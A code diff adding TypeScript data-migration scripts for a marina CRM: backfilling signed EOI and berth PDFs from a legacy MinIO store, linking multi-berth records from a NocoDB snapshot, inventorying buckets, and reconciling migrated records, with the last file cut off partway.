+      `  Berths:    ${bl.inserted} multi-berth links inserted (${bl.madePrimary} new primary), ${bl.skipped} already linked`,
+    );
+    if (bl.unresolved.length > 0) {
+      console.log(`             ⚠ ${bl.unresolved.length} moorings with no CRM berth`);
+    }
+  } catch (err) {
+    console.log(
+      `  Berths:    ⚠ multi-berth link step skipped (${(err as Error).message}). ` +
+        `Run scripts/migration/connect-berth-links.ts once the nocodb_legacy dump is restored.`,
+    );
+  }
   console.log('');
 }
 

scripts/migration/backfill-documents.ts

@@ -0,0 +1,503 @@
+/**
+ * Phase 2 of the legacy migration: pull signed EOI PDFs + berth spec PDFs from
+ * the LEGACY MinIO (`client-portal` bucket) and deposit them into the CRM's own
+ * storage, linking them to the already-migrated deals + berths.
+ *
+ * Two storage worlds, kept strictly separate:
+ *   - LEGACY read  : a dedicated `minio` Client using LEGACY_MINIO_* env.
+ *   - CRM write    : `getStorageBackend()` (the CRM's own configured storage).
+ *     ⚠ We NEVER route legacy creds through getStorageBackend — that would
+ *     write INTO prod. LEGACY_MINIO_* is distinct from the CRM's MINIO_*.
+ *
+ * Idempotent + re-runnable: an EOI is skipped once its `documents.signedFileId`
+ * is set; a berth is skipped once it has a `currentPdfVersionId`.
+ *
+ * Run AFTER `migrate-from-nocodb.ts --apply`:
+ *   LEGACY_MINIO_ACCESS_KEY=… LEGACY_MINIO_SECRET_KEY=… \
+ *   pnpm tsx scripts/migration/backfill-documents.ts --port-slug port-nimara [--dry-run]
+ */
+import 'dotenv/config';
+import { randomUUID } from 'node:crypto';
+import { Client as MinioClient } from 'minio';
+import postgres from 'postgres';
+import { and, eq, isNull } from 'drizzle-orm';
+
+import { db, closeDb } from '@/lib/db';
+import { ports } from '@/lib/db/schema/ports';
+import { berths } from '@/lib/db/schema/berths';
+import { documents, files } from '@/lib/db/schema/documents';
+import { clients } from '@/lib/db/schema/clients';
+import { interests } from '@/lib/db/schema/interests';
+import { migrationSourceLinks } from '@/lib/db/schema/migration';
+import { getStorageBackend } from '@/lib/storage';
+import { buildStoragePath } from '@/lib/minio';
+import { ensureEntityFolder } from '@/lib/services/document-folders.service';
+import { uploadBerthPdf } from '@/lib/services/berth-pdf.service';
+import { normalizeName } from '@/lib/dedup/normalize';
+import { SUPER_ADMIN_USER_ID } from '@/lib/db/seed-bootstrap';
+
+const DRY = process.argv.includes('--dry-run');
+const slugArg = (() => {
+  const i = process.argv.indexOf('--port-slug');
+  return i >= 0 ? (process.argv[i + 1] ?? 'port-nimara') : 'port-nimara';
+})();
+
+const LEGACY_BUCKET = process.env.LEGACY_MINIO_BUCKET ?? 'client-portal';
+// NocoDB's own attachment store — where pre-Documenso "LOI process" EOIs live.
+const DATABASE_BUCKET = process.env.LEGACY_MINIO_DATABASE_BUCKET ?? 'database';
+const legacy = new MinioClient({
+  endPoint: process.env.LEGACY_MINIO_ENDPOINT ?? 's3.portnimara.com',
+  port: 443,
+  useSSL: true,
+  accessKey: process.env.LEGACY_MINIO_ACCESS_KEY ?? '',
+  secretKey: process.env.LEGACY_MINIO_SECRET_KEY ?? '',
+});
+
+// Read-only connection to the LOCAL restored NocoDB dump (`nocodb_legacy`) —
+// used to read the `EOI_Document` attachment metadata. Never prod.
+const CRM_DB_URL = process.env.DATABASE_URL ?? '';
+const LEGACY_DB_URL = process.env.LEGACY_DB_URL ?? CRM_DB_URL.replace(/\/[^/]+$/, '/nocodb_legacy');
+
+/** Levenshtein edit distance — conservative fuzzy name matching for legacy
+ *  spelling/format drift (Koshbin↔Khoshbin, Costanzo↔Constanzo). */
+function lev(a: string, b: string): number {
+  const m = a.length;
+  const n = b.length;
+  if (!m) return n;
+  if (!n) return m;
+  let prev = Array.from({ length: n + 1 }, (_, i) => i);
+  for (let i = 1; i <= m; i++) {
+    const cur = [i];
+    for (let j = 1; j <= n; j++) {
+      cur[j] = Math.min(
+        prev[j]! + 1,
+        cur[j - 1]! + 1,
+        prev[j - 1]! + (a[i - 1] === b[j - 1] ? 0 : 1),
+      );
+    }
+    prev = cur;
+  }
+  return prev[n]!;
+}
+
+function streamToBuffer(stream: NodeJS.ReadableStream): Promise<Buffer> {
+  return new Promise((resolve, reject) => {
+    const chunks: Buffer[] = [];
+    stream.on('data', (c: Buffer) => chunks.push(c));
+    stream.on('end', () => resolve(Buffer.concat(chunks)));
+    stream.on('error', reject);
+  });
+}
+
+interface LegacyObject {
+  name: string;
+  size: number;
+}
+function listLegacy(prefix: string): Promise<LegacyObject[]> {
+  return new Promise((resolve, reject) => {
+    const out: LegacyObject[] = [];
+    const stream = legacy.listObjectsV2(LEGACY_BUCKET, prefix, true);
+    stream.on('data', (o) => {
+      if (o.name && !o.name.endsWith('/')) out.push({ name: o.name, size: o.size ?? 0 });
+    });
+    stream.on('end', () => resolve(out));
+    stream.on('error', reject);
+  });
+}
+
+async function resolvePort(slug: string): Promise<{ id: string; slug: string }> {
+  const [p] = await db
+    .select({ id: ports.id, slug: ports.slug })
+    .from(ports)
+    .where(eq(ports.slug, slug))
+    .limit(1);
+  if (!p) throw new Error(`No port with slug "${slug}"`);
+  return p;
+}
+
+// ─── Berth PDFs ──────────────────────────────────────────────────────────────
+// client-portal/Berth-PDFs/<ts>-Berth_Spec_Sheet_<Mooring>.pdf  → berth by mooring.
+async function backfillBerthPdfs(port: { id: string; slug: string }) {
+  const objs = (await listLegacy('Berth-PDFs/')).filter((o) => /\.pdf$/i.test(o.name));
+  const berthRows = await db
+    .select({ id: berths.id, mooring: berths.mooringNumber, cur: berths.currentPdfVersionId })
+    .from(berths)
+    .where(eq(berths.portId, port.id));
+  const byMooring = new Map(berthRows.map((b) => [b.mooring, b]));
+
+  let attached = 0;
+  let skipped = 0;
+  let unmatched = 0;
+  for (const o of objs) {
+    const m = o.name.match(/Berth_Spec_Sheet_([A-Za-z]+\d+)\.pdf$/i);
+    if (!m) {
+      unmatched++;
+      continue;
+    }
+    const mooring = `${m[1]!.replace(/[a-z]+/g, (s) => s.toUpperCase())}`
+      .toUpperCase()
+      .replace(/([A-Z]+)0*(\d+)/, '$1$2');
+    const berth = byMooring.get(mooring);
+    if (!berth) {
+      console.log(`  [berth] no berth for mooring "${mooring}" (${o.name})`);
+      unmatched++;
+      continue;
+    }
+    if (berth.cur) {
+      skipped++;
+      continue;
+    }
+    if (DRY) {
+      attached++;
+      continue;
+    }
+    const buf = await streamToBuffer(await legacy.getObject(LEGACY_BUCKET, o.name));
+    await uploadBerthPdf({
+      berthId: berth.id,
+      portId: port.id,
+      buffer: buf,
+      fileName: o.name.split('/').pop() ?? `${mooring}.pdf`,
+      uploadedBy: SUPER_ADMIN_USER_ID,
+    });
+    attached++;
+  }
+  return { total: objs.length, attached, skipped, unmatched };
+}
+
+// ─── Signed EOIs ─────────────────────────────────────────────────────────────
+// client-portal/EOIs/<Client Name>/<file>.pdf  → match by normalized client name.
+async function backfillEois(port: { id: string; slug: string }) {
+  // Signed EOIs live under EOIs/<Name>/ and (some) under Client Documents/<Name>/.
+  const objs = [...(await listLegacy('EOIs/')), ...(await listLegacy('Client Documents/'))].filter(
+    (o) => /\.pdf$/i.test(o.name) && /eoi|sign/i.test(o.name),
+  );
+  // Index the best signed PDF per normalized folder (client) name.
+  const byName = new Map<string, { key: string; size: number }>();
+  for (const o of objs) {
+    const parts = o.name.split('/'); // <prefix> / <Name> / <file>.pdf
+    if (parts.length < 3) continue;
+    const folder = (parts[1] ?? '').replace(/_/g, ' '); // "Matt_Ciaccio" → "Matt Ciaccio"
+    const norm = normalizeName(folder).display;
+    if (!norm) continue;
+    const isSigned = /sign/i.test(o.name);
+    const prev = byName.get(norm);
+    // Prefer a "signed" file; among those, the largest (the full signed PDF).
+    if (!prev || (isSigned && o.size > prev.size)) byName.set(norm, { key: o.name, size: o.size });
+  }
+
+  // Migrated EOI documents missing a signed file.
+  const docRows = await db
+    .select({ id: documents.id, interestId: documents.interestId, clientId: documents.clientId })
+    .from(documents)
+    .where(
+      and(
+        eq(documents.portId, port.id),
+        eq(documents.documentType, 'eoi'),
+        isNull(documents.signedFileId),
+      ),
+    );
+
+  const backend = await getStorageBackend();
+  let attached = 0;
+  let unmatched = 0;
+  const unresolved: string[] = [];
+  for (const doc of docRows) {
+    const clientId = doc.clientId;
+    if (!clientId) {
+      unmatched++;
+      continue;
+    }
+    const [c] = await db
+      .select({ name: clients.fullName })
+      .from(clients)
+      .where(eq(clients.id, clientId))
+      .limit(1);
+    if (!c) {
+      unmatched++;
+      continue;
+    }
+    const target = normalizeName(c.name).display;
+    let match = byName.get(target);
+    if (!match && target.length >= 6) {
+      // Conservative fuzzy fallback: best edit-distance ≤ 2 on the full name.
+      let bestDist = 3;
+      for (const [name, v] of byName) {
+        const d = lev(name, target);
+        if (d < bestDist) {
+          bestDist = d;
+          match = v;
+        }
+      }
+    }
+    if (!match) {
+      unresolved.push(c.name);
+      unmatched++;
+      continue;
+    }
+    if (DRY) {
+      attached++;
+      continue;
+    }
+    // Pull legacy bytes → write to CRM storage → files row → link signedFileId.
+    const buf = await streamToBuffer(await legacy.getObject(LEGACY_BUCKET, match.key));
+    const key = buildStoragePath(port.slug, 'eoi-signed', doc.id, randomUUID(), 'pdf');
+    const putRes = await backend.put(key, buf, {
+      contentType: 'application/pdf',
+      sizeBytes: buf.length,
+    });
+    // File into the client's entity folder (mirrors handleDocumentCompleted's
+    // owner-folder filing). files.interestId still scopes the row to the deal;
+    // interest "Deal" folders aren't system-managed (chk_system_folder_shape).
+    const folder = await ensureEntityFolder(port.id, 'client', clientId, SUPER_ADMIN_USER_ID);
+    const fileName = match.key.split('/').pop() ?? 'eoi-signed.pdf';
+    await db.transaction(async (tx) => {
+      const [f] = await tx
+        .insert(files)
+        .values({
+          portId: port.id,
+          filename: fileName,
+          originalName: fileName,
+          storagePath: putRes.key,
+          mimeType: 'application/pdf',
+          sizeBytes: String(putRes.sizeBytes),
+          category: 'eoi',
+          folderId: folder.id,
+          clientId,
+          interestId: doc.interestId,
+          uploadedBy: 'system',
+        })
+        .returning({ id: files.id });
+      if (!f) throw new Error('files insert returned no row');
+      await tx
+        .update(documents)
+        .set({ signedFileId: f.id, status: 'completed', isManualUpload: true })
+        .where(eq(documents.id, doc.id));
+    });
+    attached++;
+  }
+  return {
+    totalBlobs: objs.length,
+    indexedClients: byName.size,
+    candidates: docRows.length,
+    attached,
+    unmatched,
+    unresolved,
+  };
+}
+
+// ─── Old-LOI EOIs (NocoDB `database` bucket attachments) ─────────────────────
+// The ~10 pre-Documenso "LOI process" deals have no documensoID and no curated
+// client-portal/EOIs copy; their signed PDF lives only as a NocoDB attachment
+// in the `database` bucket. The main pipeline keys EOI-doc creation off
+// documensoID, so it never created a document row for them. Here we CREATE the
+// document + file + folder and link the recovered PDF. Idempotent via a
+// `nocodb_eoi_document` ledger entry per legacy interest.
+function legacyKeyFromUrl(url: string): string | null {
+  // https://<host>/database/nc/uploads/...  →  nc/uploads/...
+  const marker = `/${DATABASE_BUCKET}/`;
+  const i = url.indexOf(marker);
+  if (i < 0) return null;
+  return decodeURIComponent(url.slice(i + marker.length));
+}
+
+async function backfillOldLoiEois(
+  port: { id: string; slug: string },
+  legacyDb: ReturnType<typeof postgres>,
+) {
+  const rows = (await legacyDb`
+    select id, "EOI_Document"::text as doc
+    from plplouets5zw1um."Interests"
+    where "EOI_Document" is not null and "EOI_Document"::text not in ('', '[]', 'null')
+  `) as unknown as Array<{ id: number; doc: string }>;
+
+  const backend = await getStorageBackend();
+  let created = 0;
+  let skipped = 0;
+  let unmatched = 0;
+  const unresolved: string[] = [];
+
+  for (const r of rows) {
+    let url: string | null = null;
+    let title: string | null = null;
+    try {
+      const parsed = JSON.parse(r.doc) as unknown;
+      const first = Array.isArray(parsed) && parsed.length > 0 ? parsed[0] : null;
+      if (first && typeof first === 'object') {
+        const rec = first as Record<string, unknown>;
+        if (typeof rec.url === 'string') url = rec.url;
+        if (typeof rec.title === 'string') title = rec.title;
+      }
+    } catch {
+      // ignore malformed attachment JSON
+    }
+    const key = url ? legacyKeyFromUrl(url) : null;
+    if (!key) {
+      unmatched++;
+      continue;
+    }
+
+    // legacy interest id → migrated interest
+    const [link] = await db
+      .select({ interestId: migrationSourceLinks.targetEntityId })
+      .from(migrationSourceLinks)
+      .where(
+        and(
+          eq(migrationSourceLinks.sourceSystem, 'nocodb_interests'),
+          eq(migrationSourceLinks.sourceId, String(r.id)),
+          eq(migrationSourceLinks.targetEntityType, 'interest'),
+        ),
+      )
+      .limit(1);
+    if (!link) {
+      unresolved.push(`legacy#${r.id} (not a migrated interest)`);
+      unmatched++;
+      continue;
+    }
+    const interestId = link.interestId;
+
+    // Idempotency: skip if this attachment was already recovered.
+    const [already] = await db
+      .select({ id: migrationSourceLinks.id })
+      .from(migrationSourceLinks)
+      .where(
+        and(
+          eq(migrationSourceLinks.sourceSystem, 'nocodb_eoi_document'),
+          eq(migrationSourceLinks.sourceId, String(r.id)),
+          eq(migrationSourceLinks.targetEntityType, 'document'),
+        ),
+      )
+      .limit(1);
+    if (already) {
+      skipped++;
+      continue;
+    }
+
+    const [intRow] = await db
+      .select({ clientId: interests.clientId, yachtId: interests.yachtId })
+      .from(interests)
+      .where(eq(interests.id, interestId))
+      .limit(1);
+    if (!intRow?.clientId) {
+      unmatched++;
+      continue;
+    }
+    const clientId = intRow.clientId;
+
+    if (DRY) {
+      created++;
+      continue;
+    }
+
+    const buf = await streamToBuffer(await legacy.getObject(DATABASE_BUCKET, key));
+    const docId = randomUUID();
+    const storageKey = buildStoragePath(port.slug, 'eoi-signed', docId, randomUUID(), 'pdf');
+    const putRes = await backend.put(storageKey, buf, {
+      contentType: 'application/pdf',
+      sizeBytes: buf.length,
+    });
+    const folder = await ensureEntityFolder(port.id, 'client', clientId, SUPER_ADMIN_USER_ID);
+    const fileName = title || key.split('/').pop() || 'eoi-signed.pdf';
+
+    await db.transaction(async (tx) => {
+      const [f] = await tx
+        .insert(files)
+        .values({
+          portId: port.id,
+          filename: fileName,
+          originalName: fileName,
+          storagePath: putRes.key,
+          mimeType: 'application/pdf',
+          sizeBytes: String(putRes.sizeBytes),
+          category: 'eoi',
+          folderId: folder.id,
+          clientId,
+          interestId,
+          uploadedBy: 'system',
+        })
+        .returning({ id: files.id });
+      if (!f) throw new Error('files insert returned no row');
+
+      await tx.insert(documents).values({
+        id: docId,
+        portId: port.id,
+        interestId,
+        clientId,
+        yachtId: intRow.yachtId ?? null,
+        documentType: 'eoi',
+        title: `External EOI (legacy) - ${fileName}`,
+        status: 'completed',
+        isManualUpload: true,
+        signedFileId: f.id,
+        createdBy: SUPER_ADMIN_USER_ID,
+      });
+
+      await tx
+        .update(interests)
+        .set({ eoiDocStatus: 'signed', updatedAt: new Date() })
+        .where(eq(interests.id, interestId));
+
+      await tx.insert(migrationSourceLinks).values({
+        sourceSystem: 'nocodb_eoi_document',
+        sourceId: String(r.id),
+        targetEntityType: 'document',
+        targetEntityId: docId,
+        appliedId: `oldloi-${docId}`,
+        appliedBy: SUPER_ADMIN_USER_ID,
+      });
+    });
+    created++;
+  }
+  return { total: rows.length, created, skipped, unmatched, unresolved };
+}
+
+async function main() {
+  if (!process.env.LEGACY_MINIO_ACCESS_KEY || !process.env.LEGACY_MINIO_SECRET_KEY) {
+    console.error(
+      'Set LEGACY_MINIO_ACCESS_KEY + LEGACY_MINIO_SECRET_KEY (legacy MinIO read creds).',
+    );
+    process.exit(1);
+  }
+  const port = await resolvePort(slugArg);
+  console.log(
+    `[backfill] port=${port.slug} legacy-bucket=${LEGACY_BUCKET} ${DRY ? '(DRY RUN)' : ''}`,
+  );
+
+  console.log('[backfill] Berth PDFs…');
+  const berthRes = await backfillBerthPdfs(port);
+  console.log(
+    `  berth PDFs: ${berthRes.total} blobs → ${berthRes.attached} attached, ${berthRes.skipped} already had one, ${berthRes.unmatched} unmatched`,
+  );
+
+  console.log('[backfill] Signed EOIs…');
+  const eoiRes = await backfillEois(port);
+  console.log(
+    `  EOIs: ${eoiRes.totalBlobs} blobs (${eoiRes.indexedClients} client folders) · ${eoiRes.candidates} migrated EOI docs needing a file → ${eoiRes.attached} attached, ${eoiRes.unmatched} unmatched`,
+  );
+  if (eoiRes.unresolved.length > 0) {
+    console.log(`  ⚠ EOI docs with no name-matched legacy PDF (${eoiRes.unresolved.length}):`);
+    for (const n of eoiRes.unresolved.slice(0, 25)) console.log(`     - ${n}`);
+  }
+
+  console.log('[backfill] Old-LOI EOIs (NocoDB `database` bucket)…');
+  const legacyDb = postgres(LEGACY_DB_URL, { max: 2 });
+  try {
+    const loiRes = await backfillOldLoiEois(port, legacyDb);
+    console.log(
+      `  old-LOI EOIs: ${loiRes.total} attachments → ${loiRes.created} created, ${loiRes.skipped} already done, ${loiRes.unmatched} unmatched`,
+    );
+    if (loiRes.unresolved.length > 0) {
+      for (const n of loiRes.unresolved.slice(0, 25)) console.log(`     - ${n}`);
+    }
+  } finally {
+    await legacyDb.end().catch(() => {});
+  }
+
+  await closeDb();
+  process.exit(0);
+}
+
+main().catch(async (err) => {
+  console.error('[backfill] failed:', err);
+  await closeDb().catch(() => {});
+  process.exit(1);
+});

scripts/migration/connect-berth-links.ts

@@ -0,0 +1,175 @@
+/**
+ * Fix-up: connect the multi-berth links the main dedup pipeline misses.
+ *
+ * The dedup pipeline migrates only each interest's single `Berth Number` text
+ * field; the legacy `_nc_m2m_Berths_Interests` junction (multi-berth deals) is
+ * not carried over by it. This reads that junction from the `nocodb_legacy`
+ * snapshot, resolves each legacy interest → its migrated interest (via the
+ * ledger) and each mooring → the migrated berth, and inserts the missing
+ * `interest_berths` rows.
+ *
+ * Idempotent: `ON CONFLICT (interest_id, berth_id) DO NOTHING`. Primary safety:
+ * only makes a berth primary when the interest has no primary yet (≤1 primary
+ * per interest is a partial unique index).
+ *
+ * Exposed as `connectBerthLinks(...)` so `migrate-from-nocodb.ts --apply` can
+ * fold it into the one-shot seed; also runnable standalone:
+ *
+ *   pnpm tsx scripts/migration/connect-berth-links.ts [--port-slug port-nimara] [--dry-run]
+ */
+import 'dotenv/config';
+import { randomUUID } from 'node:crypto';
+import postgres from 'postgres';
+
+const canonMoo = (raw: string): string => {
+  const m = /^([A-Za-z]+)-?0*(\d+)$/.exec((raw ?? '').trim());
+  return m ? `${m[1]!.toUpperCase()}${parseInt(m[2]!, 10)}` : (raw ?? '').trim();
+};
+
+export interface ConnectBerthLinksResult {
+  inserted: number;
+  madePrimary: number;
+  skipped: number;
+  unresolved: string[];
+}
+
+/**
+ * Self-contained: opens its own CRM + legacy connections (read-only on the
+ * legacy snapshot), does the work, closes them, returns stats. Safe to call
+ * from the runner or standalone.
+ */
+export async function connectBerthLinks(opts: {
+  portSlug?: string;
+  dryRun?: boolean;
+}): Promise<ConnectBerthLinksResult> {
+  const slug = opts.portSlug ?? 'port-nimara';
+  const dry = opts.dryRun ?? false;
+
+  const CRM_URL = process.env.DATABASE_URL!;
+  const LEGACY_URL = process.env.LEGACY_DB_URL ?? CRM_URL.replace(/\/[^/]+$/, '/nocodb_legacy');
+  const crm = postgres(CRM_URL, { max: 4 });
+  const legacy = postgres(LEGACY_URL, { max: 4 });
+
+  try {
+    const [port] = await crm`select id from ports where slug=${slug} limit 1`;
+    if (!port) throw new Error(`no port ${slug}`);
+    const portId = port.id as string;
+
+    // legacy junction: interestId → set(moorings)
+    const mooById = new Map<number, string>();
+    for (const b of await legacy`select id, "Mooring_Number" m from plplouets5zw1um."Berths"`)
+      mooById.set(b.id as number, canonMoo(b.m as string));
+    const legacyMoo = new Map<number, Set<string>>();
+    for (const j of await legacy`select "Interests_id" i, "Berths_id" b from plplouets5zw1um."_nc_m2m_Berths_Interests"`) {
+      const set = legacyMoo.get(j.i as number) ?? new Set<string>();
+      const m = mooById.get(j.b as number);
+      if (m) set.add(m);
+      legacyMoo.set(j.i as number, set);
+    }
+    // EOI-signed flag per legacy interest (for is_in_eoi_bundle)
+    const signed = new Set<number>();
+    for (const r of await legacy`select id, "EOI_Status" e, "LOI_NDA_Document" l from plplouets5zw1um."Interests"`) {
+      const e = ((r.e as string) ?? '').trim();
+      const l = ((r.l as string) ?? '').trim();
+      if (
+        e === 'Signed' ||
+        ['Signing Complete', 'Signed by Client', 'Signed by Developer'].includes(l)
+      )
+        signed.add(r.id as number);
+    }
+
+    // ledger: legacy interest id → new interest id
+    const links =
+      await crm`select source_id, target_entity_id from migration_source_links where source_system='nocodb_interests' and target_entity_type='interest'`;
+    const newInterestBySrc = new Map(
+      links.map((l) => [Number(l.source_id), l.target_entity_id as string]),
+    );
+
+    // CRM berth id by mooring (this port)
+    const berthByMoo = new Map(
+      (await crm`select id, mooring_number m from berths where port_id=${portId}`).map((b) => [
+        b.m as string,
+        b.id as string,
+      ]),
+    );
+
+    let inserted = 0;
+    let madePrimary = 0;
+    let skipped = 0;
+    const unresolved: string[] = [];
+
+    for (const [legacyId, moorings] of legacyMoo) {
+      const interestId = newInterestBySrc.get(legacyId);
+      if (!interestId) continue; // not a migrated interest (backup/copy tables)
+      const primaryCheck =
+        await crm`select exists(select 1 from interest_berths where interest_id=${interestId} and is_primary) as has`;
+      let hasPrimary = (primaryCheck[0]?.has as boolean | undefined) ?? false;
+
+      for (const moo of moorings) {
+        const berthId = berthByMoo.get(moo);
+        if (!berthId) {
+          unresolved.push(`${legacyId}:${moo}`);
+          continue;
+        }
+        const makePrimary = !hasPrimary;
+        if (dry) {
+          inserted++;
+          if (makePrimary) {
+            madePrimary++;
+            hasPrimary = true;
+          }
+          continue;
+        }
+        const res = await crm`
+          insert into interest_berths (id, interest_id, berth_id, is_primary, is_specific_interest, is_in_eoi_bundle)
+          values (${randomUUID()}, ${interestId}, ${berthId}, ${makePrimary}, true, ${signed.has(legacyId)})
+          on conflict (interest_id, berth_id) do nothing
+          returning id`;
+        if (res.length > 0) {
+          inserted++;
+          if (makePrimary) {
+            madePrimary++;
+            hasPrimary = true;
+          }
+        } else {
+          skipped++;
+        }
+      }
+    }
+
+    return { inserted, madePrimary, skipped, unresolved };
+  } finally {
+    await crm.end().catch(() => {});
+    await legacy.end().catch(() => {});
+  }
+}
+
+// ─── Standalone CLI ──────────────────────────────────────────────────────────
+function isMain(): boolean {
+  const arg = process.argv[1] ?? '';
+  return arg.includes('connect-berth-links');
+}
+
+if (isMain()) {
+  const slugArg = (() => {
+    const i = process.argv.indexOf('--port-slug');
+    return i >= 0 ? (process.argv[i + 1] ?? 'port-nimara') : 'port-nimara';
+  })();
+  const dry = process.argv.includes('--dry-run');
+
+  connectBerthLinks({ portSlug: slugArg, dryRun: dry })
+    .then((r) => {
+      console.log(
+        `connect-berth-links ${dry ? '(DRY)' : ''}: inserted ${r.inserted} links (${r.madePrimary} new primary), ${r.skipped} already linked`,
+      );
+      if (r.unresolved.length)
+        console.log(
+          `  ⚠ ${r.unresolved.length} moorings with no CRM berth: ${r.unresolved.slice(0, 20).join(', ')}`,
+        );
+      process.exit(0);
+    })
+    .catch((e) => {
+      console.error('connect-berth-links failed:', e);
+      process.exit(1);
+    });
+}

scripts/migration/probe-minio.ts

@@ -0,0 +1,102 @@
+/**
+ * Read-only MinIO inventory for the legacy → new-CRM migration (Phase 2 sizing).
+ *
+ * Lists every bucket the creds can see, then for the document buckets
+ * (`client-portal`, `signatures`) groups objects by top-level prefix with
+ * counts + sizes + samples — so we can see exactly where the EOIs, berth
+ * PDFs, receipts and business-card images live before backfilling them.
+ *
+ * Secret-free: reads creds from env. Run with:
+ *   MINIO_ACCESS_KEY=... MINIO_SECRET_KEY=... \
+ *   pnpm tsx scripts/migration/probe-minio.ts
+ *
+ * Strictly read-only (listBuckets + listObjectsV2). No writes.
+ */
+import { Client } from 'minio';
+
+const endPoint = process.env.MINIO_ENDPOINT || 's3.portnimara.com';
+const accessKey = process.env.MINIO_ACCESS_KEY;
+const secretKey = process.env.MINIO_SECRET_KEY;
+
+if (!accessKey || !secretKey) {
+  console.error('Set MINIO_ACCESS_KEY and MINIO_SECRET_KEY');
+  process.exit(1);
+}
+
+const client = new Client({ endPoint, port: 443, useSSL: true, accessKey, secretKey });
+
+interface PrefixStat {
+  count: number;
+  bytes: number;
+  samples: string[];
+}
+
+async function inventory(bucket: string) {
+  const byPrefix = new Map<string, PrefixStat>();
+  let total = 0;
+  let totalBytes = 0;
+  await new Promise<void>((resolve, reject) => {
+    const stream = client.listObjectsV2(bucket, '', true);
+    stream.on('data', (o) => {
+      if (!o.name) return;
+      total++;
+      totalBytes += o.size || 0;
+      const top = o.name.includes('/') ? o.name.split('/')[0] + '/' : '(root)';
+      const e = byPrefix.get(top) || { count: 0, bytes: 0, samples: [] };
+      e.count++;
+      e.bytes += o.size || 0;
+      if (e.samples.length < 4) e.samples.push(`${o.name}  (${o.size}b)`);
+      byPrefix.set(top, e);
+    });
+    stream.on('end', () => resolve());
+    stream.on('error', reject);
+  });
+  return { bucket, total, totalBytes, byPrefix };
+}
+
+const mb = (b: number) => (b / 1e6).toFixed(1);
+
+async function main() {
+  console.log(`MinIO @ ${endPoint}\n`);
+
+  let buckets: string[] = [];
+  try {
+    const list = await client.listBuckets();
+    buckets = list.map((b) => b.name);
+    console.log('=== all buckets visible to these creds ===');
+    for (const b of list) console.log(`  ${b.name}`);
+  } catch (err) {
+    console.log(`listBuckets failed: ${(err as Error).message}`);
+  }
+
+  const targets = (process.env.MINIO_BUCKETS || 'client-portal,signatures')
+    .split(',')
+    .map((s) => s.trim());
+
+  for (const bucket of targets) {
+    if (buckets.length && !buckets.includes(bucket)) {
+      console.log(`\n=== bucket: ${bucket} — NOT VISIBLE to these creds ===`);
+      continue;
+    }
+    try {
+      const inv = await inventory(bucket);
+      console.log(
+        `\n=== bucket: ${inv.bucket} — ${inv.total} objects, ${mb(inv.totalBytes)} MB ===`,
+      );
+      const rows = [...inv.byPrefix.entries()].sort((a, z) => z[1].count - a[1].count);
+      for (const [prefix, e] of rows) {
+        console.log(
+          `  ${prefix.padEnd(30)} ${String(e.count).padStart(5)} obj  ${mb(e.bytes).padStart(8)} MB`,
+        );
+        for (const s of e.samples) console.log(`        e.g. ${s}`);
+      }
+    } catch (err) {
+      console.log(`\n=== bucket: ${bucket} — ERROR: ${(err as Error).message} ===`);
+    }
+  }
+}
+
+main().catch((err) => {
+  console.error('probe-minio failed:', err);
+  process.exit(1);
+});

scripts/migration/reconcile-migration.ts

@@ -0,0 +1,277 @@
+/**
+ * Exhaustive migration reconciliation (read-only): cross-checks EVERY migrated
+ * record against its legacy NocoDB source row (via the migration ledger) and
+ * verifies every relationship is connected. Independently re-derives the
+ * expected mapped values (stage, eoiStatus, berth, …) so it validates the
+ * migration logic, not just echoes it.
+ *
+ * Connects to BOTH local DBs:
+ *   - CRM      : DATABASE_URL (the migrated data)
+ *   - legacy   : LEGACY_DB_URL (the nocodb_legacy snapshot); defaults to the
+ *                CRM url with the db name swapped to `nocodb_legacy`.
+ *
+ *   pnpm tsx scripts/migration/reconcile-migration.ts [--port-slug port-nimara]
+ */
+import 'dotenv/config';
+import postgres from 'postgres';
+
+const slugArg = (() => {
+  const i = process.argv.indexOf('--port-slug');
+  return i >= 0 ? (process.argv[i + 1] ?? 'port-nimara') : 'port-nimara';
+})();
+
+const CRM_URL = process.env.DATABASE_URL!;
+const LEGACY_URL = process.env.LEGACY_DB_URL ?? CRM_URL.replace(/\/[^/]+$/, '/nocodb_legacy');
+const crm = postgres(CRM_URL, { max: 4 });
+const legacy = postgres(LEGACY_URL, { max: 4 });
+
+// ── transforms, re-implemented independently (cross-validation) ──────────────
+const STAGE_MAP: Record<string, string> = {
+  'General Qualified Interest': 'qualified',
+  'Specific Qualified Interest': 'nurturing',
+  'EOI and NDA Sent': 'eoi',
+  'Signed EOI and NDA': 'eoi',
+  'Made Reservation': 'reservation',
+  'Contract Negotiation': 'contract',
+  'Contract Negotiations Finalized': 'contract',
+  'Contract Signed': 'contract',
+};
+const expectStage = (level: string | undefined, deposit: string | undefined): string => {
+  let s = STAGE_MAP[(level ?? '').trim()] ?? 'enquiry';
+  if ((deposit ?? '').trim() === 'Received' && s !== 'contract') s = 'deposit_paid';
+  return s;
+};
+const expectEoi = (
+  eoiStatus: string | undefined,
+  loi: string | undefined,
+  documensoId: string | undefined,
+): string | null => {
+  const e = (eoiStatus ?? '').trim();
+  const l = (loi ?? '').trim();
+  if (e === 'Signed' || ['Signing Complete', 'Signed by Client', 'Signed by Developer'].includes(l))
+    return 'signed';
+  if (e === 'Waiting for Signatures' || (documensoId ?? '').trim()) return 'waiting_for_signatures';
+  return null;
+};
+const canonMoo = (raw: string): string => {
+  const m = /^([A-Za-z]+)-?0*(\d+)$/.exec((raw ?? '').trim());
+  return m ? `${m[1]!.toUpperCase()}${parseInt(m[2]!, 10)}` : (raw ?? '').trim();
+};
+const normEmail = (e: string) => (e ?? '').trim().toLowerCase();
+
+const issues: string[] = [];
+const add = (cat: string, msg: string) => issues.push(`[${cat}] ${msg}`);
+
+async function main() {
+  const [port] = await crm`select id, slug from ports where slug=${slugArg} limit 1`;
+  if (!port) throw new Error(`no port ${slugArg}`);
+  const portId = port.id as string;
+
+  // ── load legacy source (by id) ───────────────────────────────────────────
+  const legacyInterests = new Map<number, Record<string, unknown>>();
+  for (const r of await legacy`select * from plplouets5zw1um."Interests"`)
+    legacyInterests.set(r.id as number, r);
+  const legacyExpenses = new Map<number, Record<string, unknown>>();
+  for (const r of await legacy`select * from p3hq2fxdevqcaq8."Expenses"`)
+    legacyExpenses.set(r.id as number, r);
+  const legacyRes = new Map<number, Record<string, unknown>>();
+  for (const r of await legacy`select * from plplouets5zw1um."Interests (Residences)"`)
+    legacyRes.set(r.id as number, r);
+  // legacy berth links per interest (Interests_id -> [mooring])
+  const berthMooById = new Map<number, string>();
